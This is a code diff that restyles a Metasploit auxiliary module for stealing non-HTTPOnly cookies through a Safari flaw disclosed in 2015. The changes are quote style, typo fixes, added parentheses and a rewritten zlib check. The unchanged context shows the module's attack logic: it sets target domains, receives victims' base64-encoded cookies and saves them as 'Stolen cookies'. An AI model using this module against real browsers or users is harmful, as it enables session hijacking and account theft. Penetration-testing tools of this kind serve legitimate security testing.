@@ -13,7 +13,7 @@ class Metasploit3 < Msf::Auxiliary
13
13
14
14
def initialize ( info = { } )
15
15
super ( update_info ( info ,
16
- 'Name' => " Apple OSX/iOS/Windows Safari Non-HTTPOnly Cookie Theft" ,
16
+ 'Name' => ' Apple OSX/iOS/Windows Safari Non-HTTPOnly Cookie Theft' ,
17
17
'Description' => %q{
18
18
A vulnerability exists in versions of OSX/iOS/Windows Safari released
19
19
before April 8, 2015 that allows the non-HTTPOnly cookies of any
@@ -31,24 +31,24 @@ def initialize(info={})
31
31
'Actions' => [ [ 'WebServer' ] ] ,
32
32
'PassiveActions' => [ 'WebServer' ] ,
33
33
'DefaultAction' => 'WebServer' ,
34
- 'DisclosureDate' => " Apr 8 2015"
34
+ 'DisclosureDate' => ' Apr 8 2015'
35
35
) )
36
36
37
37
register_options ( [
38
- OptString . new ( " URIPATH" , [ false , 'The URI to use for this exploit (default is random)' ] ) ,
39
- OptPort . new ( 'SRVPORT' , [ true , " The local port to use for the FTP server" , 5555 ] ) ,
40
- OptPort . new ( 'HTTPPORT' , [ true , " The HTTP server port" , 8080 ] ) ,
38
+ OptString . new ( ' URIPATH' , [ false , 'The URI to use for this exploit (default is random)' ] ) ,
39
+ OptPort . new ( 'SRVPORT' , [ true , ' The local port to use for the FTP server' , 5555 ] ) ,
40
+ OptPort . new ( 'HTTPPORT' , [ true , ' The HTTP server port' , 8080 ] ) ,
41
41
OptString . new ( 'TARGET_DOMAINS' , [
42
42
true ,
43
- " The comma-separated list of domains to steal non-HTTPOnly cookies from." ,
43
+ ' The comma-separated list of domains to steal non-HTTPOnly cookies from.' ,
44
44
'apple.com,example.com'
45
45
] )
46
46
] , self . class )
47
47
end
48
48
49
49
50
50
#
51
- # Start the FTP aand HTTP server
51
+ # Start the FTP and HTTP server
52
52
#
53
53
def run
54
54
start_service
@@ -58,15 +58,15 @@ def run
58
58
59
59
60
60
#
61
- # Handle the HTTP request and return a response. Code borrorwed from:
61
+ # Handle the HTTP request and return a response. Code borrowed from:
62
62
# msf/core/exploit/http/server.rb
63
63
#
64
64
def start_http ( opts = { } )
65
65
# Ensture all dependencies are present before initializing HTTP
66
66
use_zlib
67
67
68
68
comm = datastore [ 'ListenerComm' ]
69
- if ( comm . to_s == " local" )
69
+ if ( comm . to_s == ' local' )
70
70
comm = ::Rex ::Socket ::Comm ::Local
71
71
else
72
72
comm = nil
@@ -104,7 +104,7 @@ def start_http(opts={})
104
104
'Path' => resource_uri
105
105
} . update ( opts [ 'Uri' ] || { } )
106
106
107
- proto = ( datastore [ " SSL" ] ? " https" : " http" )
107
+ proto = ( datastore [ ' SSL' ] ? ' https' : ' http' )
108
108
print_status ( "Using URL: #{ proto } ://#{ opts [ 'ServerHost' ] } :#{ opts [ 'ServerPort' ] } #{ uopts [ 'Path' ] } " )
109
109
110
110
if ( opts [ 'ServerHost' ] == '0.0.0.0' )
@@ -179,7 +179,7 @@ def cleanup
179
179
# set.
180
180
#
181
181
def use_zlib
182
- if ( ! Rex ::Text . zlib_present? and datastore [ 'HTTP::compression' ] == true )
182
+ unless Rex ::Text . zlib_present? || datastore [ 'HTTP::compression' ] == false
183
183
fail_with ( Failure ::Unknown , "zlib support was not detected, yet the HTTP::compression option was set. Don't do that!" )
184
184
end
185
185
end
@@ -205,13 +205,13 @@ def on_request_uri(cli, request)
205
205
domain = json [ 'domain' ]
206
206
cookie = Rex ::Text . decode_base64 ( json [ 'p' ] ) . to_s
207
207
if cookie . length == 0
208
- print_error "#{ cli . peerhost } : No cookies found for #{ domain } "
208
+ print_error ( "#{ cli . peerhost } : No cookies found for #{ domain } " )
209
209
else
210
210
file = store_loot (
211
- "cookie_#{ domain } " , " text/plain" , cli . peerhost , cookie , 'cookie' , " Stolen cookies"
211
+ "cookie_#{ domain } " , ' text/plain' , cli . peerhost , cookie , 'cookie' , ' Stolen cookies'
212
212
)
213
- print_good "#{ cli . peerhost } : Cookies stolen for #{ domain } (#{ cookie . bytes . length } bytes): "
214
- print_good file
213
+ print_good ( "#{ cli . peerhost } : Cookies stolen for #{ domain } (#{ cookie . bytes . length } bytes): " )
214
+ print_good ( file )
215
215
end
216
216
send_response ( cli , 200 , 'OK' , '' )
217
217
else
0 commit comments